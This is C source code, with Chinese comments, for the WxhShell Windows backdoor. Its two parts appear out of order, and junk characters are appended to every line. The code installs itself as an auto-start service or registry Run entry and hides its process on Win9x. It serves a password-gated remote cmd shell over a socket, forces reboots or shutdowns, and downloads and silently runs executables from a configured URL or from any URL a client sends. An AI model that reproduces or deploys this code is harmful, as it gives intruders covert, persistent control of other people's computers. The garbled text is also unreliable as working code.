    else { bf}r8$,  
    closesocket(wsh); 'dBzv>ngD  
    ExitThread(0); C@KYg/nYw  
    } 4E"qpy \(  
    break; t);5Cw _  
    } Cu!4ha.e`  
  // 获取shell J H$  
  case 's': { 5m_@s?P[  
    CmdShell(wsh); oE5+   
    closesocket(wsh); +[*UC"  
    ExitThread(0); S-v9z:M3  
    break; h; {?z  
  } R/P.m~?  
  // 退出 8fdOV&&D~i  
  case 'x': { XLM 9+L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S:DB%V3  
    CloseIt(wsh); 0`OqD d  
    break;  gs9f2t  
    } GF k?Qf{u  
  // 离开 gAR];(*  
  case 'q': { mTcLocx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6.ap^9AD  
    closesocket(wsh); n+xM))  
    WSACleanup(); mv + .5X  
    exit(1); ph69u #Og  
    break; 71wyZJ  
        } o2%"Luf<  
  } uV;Z  
  } `UeF3~)>E  
dLjT^ 9  
  // 提示信息 _I@dt6oF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +LrW#K;  
} h#;yA"j1&  
  } K5k,47"  
ukri7 n*  
  return; @89mj{  
} /ZD/!YD&R  
ay4|N!ExO  
// shell模块句柄 5nEvnnx0  
int CmdShell(SOCKET sock) slw^BK3t  
{ 1)k))w9  
STARTUPINFO si; G|H\(3hHLZ  
ZeroMemory(&si,sizeof(si)); Y/{Z`}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #&DJ3(T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,$CZ (GQ  
PROCESS_INFORMATION ProcessInfo; 3aW4Gs<g  
char cmdline[]="cmd"; #He:p$43  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J,jl(=G  
  return 0; _Hkc<j/e~  
} =#1/<q)L  
po{f*}gas]  
// 自身启动模式 @Wdnc/o]  
int StartFromService(void) Z#\ \NfR  
{ # VR}6Jv  
typedef struct `GH6$\:  
{ P^&+ehp  
  DWORD ExitStatus; )Q9J,  
  DWORD PebBaseAddress; vn|X,1o  
  DWORD AffinityMask; pvcf_w`n  
  DWORD BasePriority; 7_A(1Lx/l7  
  ULONG UniqueProcessId; t6LTGWs/_o  
  ULONG InheritedFromUniqueProcessId; v3`J~,V<  
}   PROCESS_BASIC_INFORMATION; "zm.jNn  
A(<- U|  
PROCNTQSIP NtQueryInformationProcess; > a^H7kp  
Xr':/Qjf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k9Yr&8B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .H9!UQ&It  
y5l4H8{h}  
  HANDLE             hProcess; %f?#) 01>  
  PROCESS_BASIC_INFORMATION pbi; <f:b%Pm 7  
/GCSC8T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qa"R?dfr  
  if(NULL == hInst ) return 0; pQW^lqwZ:6  
hu6)GOZbv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b$g.">:$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _Z9I')  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8f#YUK sW=  
EMJ}tvL0Tp  
  if (!NtQueryInformationProcess) return 0; nEs l  
Vd|/]Zj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -BNW\ ]}  
  if(!hProcess) return 0; ox)/*c<  
vUj7rDT|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !$Mv)c/_u  
R'&^)_  
  CloseHandle(hProcess); .8g&V|  
R:OoQ^c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yp!Xwq#n  
if(hProcess==NULL) return 0; ?p\'S w:  
NW^}u~-f  
HMODULE hMod; ;Q-sie(#  
char procName[255]; d6~wJMFl  
unsigned long cbNeeded; H2|w  
l *pCG`@J#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); US4X CJxB  
oSE'-8(  
  CloseHandle(hProcess); @p}H@#/u\  
92eS*x2@  
if(strstr(procName,"services")) return 1; // 以服务启动 A:k`Ykr[  
 #]n[  
  return 0; // 注册表启动 TS@EE&Wq  
} I]TL#ywF   
 vUJb-  
// 主模块 {:fyz#>>^  
int StartWxhshell(LPSTR lpCmdLine) -cJ(iz9!  
{ iSHNt0Nl  
  SOCKET wsl; &a1agi7M  
BOOL val=TRUE; A@&+!sO  
  int port=0; qC IZW  
  struct sockaddr_in door; _es>G'S  
YW>|gE  
  if(wscfg.ws_autoins) Install(); `[Kh[|  
J6\<>5 A?  
port=atoi(lpCmdLine); B>-Iv _  
} %rF}>$A  
if(port<=0) port=wscfg.ws_port; 7Nx@eoZ  
Vs m06Rj{  
  WSADATA data; bm(0raugs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3Qn! `  
b abDLaC@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?T?%x(]I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xdw%Hw  
  door.sin_family = AF_INET; k|a{ |2p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vPpbm  
  door.sin_port = htons(port); IRXpk 6|  
(z+[4l7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { , lT8gQ|u  
closesocket(wsl); :9]23'Md  
return 1; NIQa{R/H  
} H=7dp%b"  
Mm|HA@W^  
  if(listen(wsl,2) == INVALID_SOCKET) { rcNM,!dZ  
closesocket(wsl); ^!E;+o' t  
return 1; aRj3TtFh  
} r=8]Ub[  
  Wxhshell(wsl); +qjW;]yxP  
  WSACleanup(); u~% m(  
T?E2;j0h'#  
return 0; u=k\]W-  
ENjrv   
} T%- F,i  
et/mfzV  
// 以NT服务方式启动 CSwNsFDR%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hm%[d;Z7  
{ -mcLT@  
DWORD   status = 0; C[<&% =  
  DWORD   specificError = 0xfffffff; :cIE8<\%  
,_P(!7Z8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ml\7JW6Rx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Je+L8TB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !|,=rM9x  
  serviceStatus.dwWin32ExitCode     = 0; o %Pi;8  
  serviceStatus.dwServiceSpecificExitCode = 0; >8 VfijK  
  serviceStatus.dwCheckPoint       = 0; \ssuO  
  serviceStatus.dwWaitHint       = 0; <&b ~(f  
V|<qO-#.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ';zLh  
  if (hServiceStatusHandle==0) return; ?Q:se  
[Zi\L>PHO  
status = GetLastError(); vqv(KsD+::  
  if (status!=NO_ERROR) >PL/>   
{ `hI1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g oWD~'\  
    serviceStatus.dwCheckPoint       = 0; g`3g#h$  
    serviceStatus.dwWaitHint       = 0; TDy@Y> )  
    serviceStatus.dwWin32ExitCode     = status; dax|4R  
    serviceStatus.dwServiceSpecificExitCode = specificError; k $3.FO"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c-z=(Z  
    return; @DY0Lz;  
  } 32YE%  
{tF=c0Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e7pN9tXGf  
  serviceStatus.dwCheckPoint       = 0; mpK|I|-   
  serviceStatus.dwWaitHint       = 0; t[)z/[ m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x8tRa0-q  
} \MK)dj5uUJ  
.#rI9op  
// 处理NT服务事件,比如:启动、停止 'HPw5 L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z}OY'}sk8  
{ &!KJrQ  
switch(fdwControl) # |w,^tV  
{ rx|/]NE;  
case SERVICE_CONTROL_STOP: JnV$)EYi  
  serviceStatus.dwWin32ExitCode = 0; - stSl*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ur9-F^$  
  serviceStatus.dwCheckPoint   = 0; !Z<Z"R/  
  serviceStatus.dwWaitHint     = 0; w[:5uo(  
  { ra$_#HY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u\s mQhQGE  
  } [sACPn$f  
  return; 2zArAch  
case SERVICE_CONTROL_PAUSE: o NJ/AT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {RwwSqJ  
  break; S#2 'Jw  
case SERVICE_CONTROL_CONTINUE: ~sMn/T*fv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VO. Y\8/  
  break; Ya304Pjd  
case SERVICE_CONTROL_INTERROGATE: DCP "  
  break; hFylQfd  
}; }yS"C fM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rbQA6_U 5A  
} 5wP(/?sRy  
kX5v!pm[  
// 标准应用程序主函数 Eu1s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -}PD0Pzg;=  
{ [ivJ&'vB  
x\I9J4Q  
// 获取操作系统版本 h, +2Mc<  
OsIsNt=GetOsVer(); mY dU`j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G4=%<+  
HPtaW:J  
  // 从命令行安装 !i#;P9K  
  if(strpbrk(lpCmdLine,"iI")) Install(); V@e0VV3yx%  
/rKrnxw  
  // 下载执行文件 #^xiv/ sV  
if(wscfg.ws_downexe) { Kd7OnU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~cU,3g  
  WinExec(wscfg.ws_filenam,SW_HIDE); C0KP,JS&  
} [G t|Qp[   
YC*S;q  
if(!OsIsNt) { @iao"&  
// 如果时win9x,隐藏进程并且设置为注册表启动 mZMLDs:  
HideProc(); c>=[|F{{e  
StartWxhshell(lpCmdLine); vHJ~~if  
} U%w ?muJW  
else aMh2[I  
  if(StartFromService()) 1UxRN7  
  // 以服务方式启动 7&|fD{:4U  
  StartServiceCtrlDispatcher(DispatchTable); <P g.N  
else @0n #Qs|E!  
  // 普通方式启动 ?Za1  b  
  StartWxhshell(lpCmdLine); L{<E'#@F  
"1h|1'S50?  
return 0; |]\qI  
} 0#XZ_(@%  
n8R{LjJ2@  
?}B_'NZ%  
4+ yd/^S  
=========================================== CO 5?UgA  
'DRyOJnr  
O_KL#xo  
_oe2 pL&  
*8X: fq  
:N%]<Mq  
" o5 . q  
3 T& m  
#include <stdio.h> 0o(/%31]  
#include <string.h> QJ>+!p*  
#include <windows.h> g0_8:Gs}^  
#include <winsock2.h> z4_>6sf{  
#include <winsvc.h> DFqXZfjm  
#include <urlmon.h> cp[4$lu  
H }</a%y  
#pragma comment (lib, "Ws2_32.lib") m:X;dcq'3  
#pragma comment (lib, "urlmon.lib") d&.)Dw  
Y 1LE.{  
#define MAX_USER   100 // 最大客户端连接数 T9N /;3  
#define BUF_SOCK   200 // sock buffer #{i\t E  
#define KEY_BUFF   255 // 输入 buffer  $p}7CP  
PlTY^N6Hn  
#define REBOOT     0   // 重启 OW1[Y-o[  
#define SHUTDOWN   1   // 关机 9J0m  
`')3}  
#define DEF_PORT   5000 // 监听端口 5I t+ S+a  
O8 k$Uc  
#define REG_LEN     16   // 注册表键长度 1_XdL?h#o  
#define SVC_LEN     80   // NT服务名长度 mA3C)V  
GP`_R  
// 从dll定义API q3 1swP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8[2^`g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5 E DGl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *.W ![%Be  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sq&$   
Ko2{[%  
// wxhshell配置信息 b~%(5r.  
struct WSCFG {  8(5}Jo+  
  int ws_port;         // 监听端口 >`8i=ZpCOS  
  char ws_passstr[REG_LEN]; // 口令 $6BXoh!  
  int ws_autoins;       // 安装标记, 1=yes 0=no U1J?o #(  
  char ws_regname[REG_LEN]; // 注册表键名 ks:Z=%o   
  char ws_svcname[REG_LEN]; // 服务名 m_' 1yX@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a&wl-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BEifUgCh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z/6eP`jj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O6l j^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DoNbCVZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vYrqZie<  
*,@dt+H!y  
}; ] 6M- s  
kCLz@9>FQ  
// default Wxhshell configuration XQHvs{P o  
struct WSCFG wscfg={DEF_PORT, A;q}SO%b  
    "xuhuanlingzhe", @ 5|F:J  
    1, ` *h-j/M  
    "Wxhshell", rjx6Ad/\  
    "Wxhshell", D]Bvjh   
            "WxhShell Service", /nGsl<  
    "Wrsky Windows CmdShell Service", ZU7,=B=  
    "Please Input Your Password: ", I>b!4?h  
  1, ON] z-  
  "http://www.wrsky.com/wxhshell.exe", #R'm|En'  
  "Wxhshell.exe" N1+%[Uh9)  
    }; G\|VTqu  
gtVI>D'(W  
// 消息定义模块 g' H!%<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8L6!CP_!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?psvhB{O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UR:cBr  
char *msg_ws_ext="\n\rExit."; SWPr5h  
char *msg_ws_end="\n\rQuit."; $iupzVrro  
char *msg_ws_boot="\n\rReboot..."; '-S^z"ZrI  
char *msg_ws_poff="\n\rShutdown..."; u ;f~  
char *msg_ws_down="\n\rSave to "; Z &/b p1  
.)ZK42Qd  
char *msg_ws_err="\n\rErr!"; !imm17XQ\  
char *msg_ws_ok="\n\rOK!"; lLS`Ln)"  
*";,HG?|Iz  
char ExeFile[MAX_PATH]; %Nzg~ZPbmT  
int nUser = 0; AEe*A+  
HANDLE handles[MAX_USER]; 8;-a_VjA)  
int OsIsNt; >N{K)a  
j#Bea ,  
SERVICE_STATUS       serviceStatus; +8v^J8q0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 11Pm lzy  
mJ)o-BV  
// 函数声明 j%#n}H  
int Install(void); jf~/x>Q  
int Uninstall(void); -[".km  
int DownloadFile(char *sURL, SOCKET wsh); T&fqn!i  
int Boot(int flag); *'1qA0Xc  
void HideProc(void); g75)&U`>}  
int GetOsVer(void); ^<.mUaP  
int Wxhshell(SOCKET wsl); ?8)_,  
void TalkWithClient(void *cs); m}'kxZTOm  
int CmdShell(SOCKET sock); |!aMj8i2  
int StartFromService(void); Jp=ur)Dj  
int StartWxhshell(LPSTR lpCmdLine); E,>/6AU  
@s b\0}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VSL6tQp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G= !Gy.  
4b,N"w{v  
// 数据结构和表定义 {%)bxk6  
SERVICE_TABLE_ENTRY DispatchTable[] = Z)~.OqRw]  
{ aP>%iRk'J!  
{wscfg.ws_svcname, NTServiceMain}, AQDT6E:  
{NULL, NULL} wm=!tx\`k  
}; =3_I;L w  
y.=ur,Nd  
// 自我安装 _qR1M):yJ  
int Install(void) [x kbzJ  
{ #9F=+[L  
  char svExeFile[MAX_PATH]; j[.R|I|  
  HKEY key; N~=p+Ow[H  
  strcpy(svExeFile,ExeFile); ts<5%{M(  
CC;T[b&  
// 如果是win9x系统,修改注册表设为自启动 n? e&I>1W  
if(!OsIsNt) { t$m268m~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y9cW&rDH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kid3@  
  RegCloseKey(key);  Cdin"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mg;+Th &  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C{`+h163\  
  RegCloseKey(key); D'$ki[{,  
  return 0; vSb$gl5H  
    } !iN=py  
  } 4onRO!G,  
} w4\b^iJz  
else { f R$E*Jd  
/. k4Y  
// 如果是NT以上系统,安装为系统服务 ,edX;`#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )hGRq'WA=  
if (schSCManager!=0) wf)T-]e  
{ F4xYfbwY"]  
  SC_HANDLE schService = CreateService R^.E";/h  
  ( kAsYh4[  
  schSCManager, 66NJ&ac  
  wscfg.ws_svcname, {dM18;  
  wscfg.ws_svcdisp, &U^6N+l9  
  SERVICE_ALL_ACCESS, :P1 J>dcG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _z4c7_H3  
  SERVICE_AUTO_START, ^oDCF  
  SERVICE_ERROR_NORMAL,  yr9%,wwN  
  svExeFile, d~M;@<eD  
  NULL, u,mC`gz  
  NULL, > `R}ulz)  
  NULL, ebxpKtEC  
  NULL, (RW02%`jjy  
  NULL iG()"^G  
  ); ~>2@55wElp  
  if (schService!=0) !C]0l  
  { Cbv$O o*  
  CloseServiceHandle(schService); }pxMO? h$  
  CloseServiceHandle(schSCManager); e<2?O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `O4Ysk72x9  
  strcat(svExeFile,wscfg.ws_svcname); TUuw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q1Gc0{+)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \bNN]=  
  RegCloseKey(key); xfZ.  
  return 0; 9y"R,  
    } yAz`n[  
  } z UN&L7D  
  CloseServiceHandle(schSCManager); 8,d<&3D  
} .-2i9Bh6  
} dF$a52LS  
FRqJ#yd]  
return 1; do@`(f3 g  
} fG_.&!P  
hfw$820y[  
// 自我卸载 \Jq$!foYx  
int Uninstall(void) ^x8*]Sz#x  
{ "& h;\hL  
  HKEY key; <mN.6@*{  
0/z=G!z\  
if(!OsIsNt) { JDeG@N$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hUN]Lm6M  
  RegDeleteValue(key,wscfg.ws_regname); =8:m:Y&|`G  
  RegCloseKey(key); jYE<d&Cq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {/d<Jm:  
  RegDeleteValue(key,wscfg.ws_regname); pm`BMy<5PU  
  RegCloseKey(key); *Y'nDv6_P  
  return 0; YL*yiZ9  
  } 4&]Sb}  
} `L n,qiA  
} .;nU" a3'  
else { I.#V/{J  
n3Uw6gLD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %zDh07VT\  
if (schSCManager!=0) /=4 m4  
{ 2I DN?Mw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3<">1] /,  
  if (schService!=0) @ )nxX))a  
  { =*<Cw?Gc  
  if(DeleteService(schService)!=0) { Xo^P=uf%  
  CloseServiceHandle(schService); 7:iTx;,v  
  CloseServiceHandle(schSCManager); _gDEIoBp  
  return 0; `P/7Mf  
  } 5M6`\LyU  
  CloseServiceHandle(schService); 9C9>V]  
  } 3Ov? kWFO  
  CloseServiceHandle(schSCManager); tgeX~.  
} #( G>J4E,  
} Lso4Z Z;  
i~1bfl   
return 1; Fb8~2N"3  
} wNQhz.>y  
,n )f=q*%  
// 从指定url下载文件 6jS:_[p  
int DownloadFile(char *sURL, SOCKET wsh) #Xdj:T<*  
{ MC=pN(l  
  HRESULT hr; Jw"fqr  
char seps[]= "/"; Q[sj/  
char *token; i b$2qy  
char *file; |KH981  
char myURL[MAX_PATH]; }C6RgE.6<  
char myFILE[MAX_PATH]; ]nmVT~lBe"  
=Rv!c+?  
strcpy(myURL,sURL); Q)vf>LwC2S  
  token=strtok(myURL,seps); V+04X"  
  while(token!=NULL) vSyR% j  
  { YS$42J_T  
    file=token; &?[uY5Mk  
  token=strtok(NULL,seps); <WPLjgtn3  
  } b{X,0a{*  
_4+'@u #  
GetCurrentDirectory(MAX_PATH,myFILE); ,e]|[,r#5  
strcat(myFILE, "\\"); #>[BSgW  
strcat(myFILE, file); .r=F'i}-j*  
  send(wsh,myFILE,strlen(myFILE),0); b9 Gq';o  
send(wsh,"...",3,0);  }\ ^J:@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OH+kN /Fd  
  if(hr==S_OK) c-s A?q#|  
return 0; qpjG_G5/  
else .eZsKc-@  
return 1; Xo,}S\wcn  
#H8% BZyV  
} ~6bf-Wg'X  
! J7ExfEA  
// 系统电源模块 5}v<?<l9\  
int Boot(int flag) TDqH"q0  
{ fm u;Pb]r  
  HANDLE hToken; a8Va3Y  
  TOKEN_PRIVILEGES tkp; ,\".|m1o.  
x~ ;1CB  
  if(OsIsNt) { eW"L")  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S8_>Lw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G&7!3u  
    tkp.PrivilegeCount = 1; qHQWiu% h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;^yR,32F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4 C7z6VWg  
if(flag==REBOOT) { Ad%3 fvn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V1h&{D\"  
  return 0; o$4xinK  
} )P|&o%E  
else { P84uEDY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *{K?JB#W  
  return 0; A3su!I2S  
} D=>[~u3H  
  } _zuX6DO  
  else { z+~klv 3  
if(flag==REBOOT) { }4dbS ;C<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8(jUCD  
  return 0; \7\7i-Vo  
} 8? U!PW  
else { 4Y.o RB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _{k-&I  
  return 0; bxXNv^  
} s+omCr|H;A  
} \jHHj\LLr.  
igGg[I1?  
return 1; 1Uy'TEk  
} W08rGY  
RkMs!M   
// win9x进程隐藏模块 9^4BqAWYrV  
void HideProc(void) $F#eD 0|  
{ #uc9eh}CWO  
j92X"yB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 26K sP .-  
  if ( hKernel != NULL ) |mS-<e8LY4  
  { gt>k]0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WR<,[*Mv^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OZ SM2~  
    FreeLibrary(hKernel); 7kT&}`g.  
  } G*y! Q  
50E?K!  
return; rYn)E=FG/  
} 8mh@C6U  
.,l4pA9v  
// 获取操作系统版本 J^y}3ON  
int GetOsVer(void) -u nK;  
{ S A\_U::T  
  OSVERSIONINFO winfo; ag* 5fBF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =1SG^rp  
  GetVersionEx(&winfo); wRj||yay#-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SJai<>k h  
  return 1; FpYeuH%  
  else Hl*V i3bQU  
  return 0; `P4 3O gA  
} 1Z_2s2`p  
:G8:b.  
// 客户端句柄模块 a<W.}0ZY  
int Wxhshell(SOCKET wsl) `=.A]) >  
{ VLP'3 qX  
  SOCKET wsh; hf1h*x^J  
  struct sockaddr_in client; 2E$K='H:,  
  DWORD myID; ']__V[  
|e+r|i]  
  while(nUser<MAX_USER)  JE=3V^k  
{ WMXxP gik  
  int nSize=sizeof(client); $MYAYj9r)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'mm~+hp  
  if(wsh==INVALID_SOCKET) return 1; z0-[ RGg  
GS@ Zc2JPF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k+% c8w 9  
if(handles[nUser]==0) iQ8T3cC+  
  closesocket(wsh); i$jzn ga  
else u+Sj#iZ  
  nUser++; -E +LA  
  } Dwa.ZY}-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  Uip-qWI  
UPGS/Xs]1  
  return 0; 8}.V[,]6  
} qbq.r&F&  
pzFM#   
// 关闭 socket *Kmo1>^  
void CloseIt(SOCKET wsh) Rz:1(^oA  
{ 0 ~^l*  
closesocket(wsh); Qk?J4 B  
nUser--; }Q-%ij2  
ExitThread(0); *OU&`\bmE  
} 'X P  
xWxgv;Ah  
// 客户端请求句柄 I/k/5  
void TalkWithClient(void *cs) ^EZ?wdL  
{ 3( o~|%  
J}Ji /  
  SOCKET wsh=(SOCKET)cs; _BPp=(|  
  char pwd[SVC_LEN];  BRF4 p:  
  char cmd[KEY_BUFF]; 9w}_CCj3  
char chr[1]; ~aL&,0  
int i,j; K [R.B!;N  
xv 9 G%  
  while (nUser < MAX_USER) { N D1'XCN  
H|I.h{:  
if(wscfg.ws_passstr) { ( yv)zg9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yGE)EBH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vhz Q.>  
  //ZeroMemory(pwd,KEY_BUFF); P:k!dRb9{  
      i=0; A(T=  
  while(i<SVC_LEN) { VX,@Gp_'m  
+O?`uV  
  // 设置超时 7z9[\]tt  
  fd_set FdRead; w|( ix;pK  
  struct timeval TimeOut; # |^yWw^  
  FD_ZERO(&FdRead); *zl-R*bM$  
  FD_SET(wsh,&FdRead); is6d:p  
  TimeOut.tv_sec=8; ZL+46fj  
  TimeOut.tv_usec=0; |3dIq=~1"Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T&u25"QOf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F ,h}HlU  
=g<Yi2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bs';!,=  
  pwd=chr[0]; naiy] oY"  
  if(chr[0]==0xd || chr[0]==0xa) { CQI\/oaO  
  pwd=0; /[=U$=uH  
  break;  Dac ,yW  
  } 8 _|"+Ze  
  i++; =fcRH:B:  
    } #bCzWg  
f ( ug3(j  
  // 如果是非法用户,关闭 socket q|S,^0cU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *ez7Q   
} UjcKvF  
(&xIB F_6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {IT;g9x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); by* v($  
/9(8ML#E  
while(1) { *(j -jbA  
D~r{(u~Ya  
  ZeroMemory(cmd,KEY_BUFF); != u S  
e*hCf5=-  
      // 自动支持客户端 telnet标准   Rkh ^|_<!  
  j=0; +Q&CIo  
  while(j<KEY_BUFF) { mmBZ}V+&=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fp'%lbk=  
  cmd[j]=chr[0]; [J+]1hCZ|  
  if(chr[0]==0xa || chr[0]==0xd) { *>J45U(6:  
  cmd[j]=0; ?v$1 Fc55  
  break; eN-lz_..7  
  } U_1N*XK6$  
  j++; &8@ a"  
    } _{48s8V  
{14sI*b16  
  // 下载文件 ah|`),o(k  
  if(strstr(cmd,"http://")) { @j+X>TD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .R{+Pz D  
  if(DownloadFile(cmd,wsh)) 06fs,!Q@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fhbILg  
  else avEsX_.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &E$:^a4d  
  } 6I~{~YvB"  
  else { .Af H>)E  
} f+hB  
    switch(cmd[0]) { *tL1t\jY  
  Nj|~3 *KO  
  // 帮助 ]_&pIBp  
  case '?': { tqT-9sEXX.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bZi;jl  
    break; >TddKR @C  
  } Fa A7m  
  // 安装 GN ?1dwI  
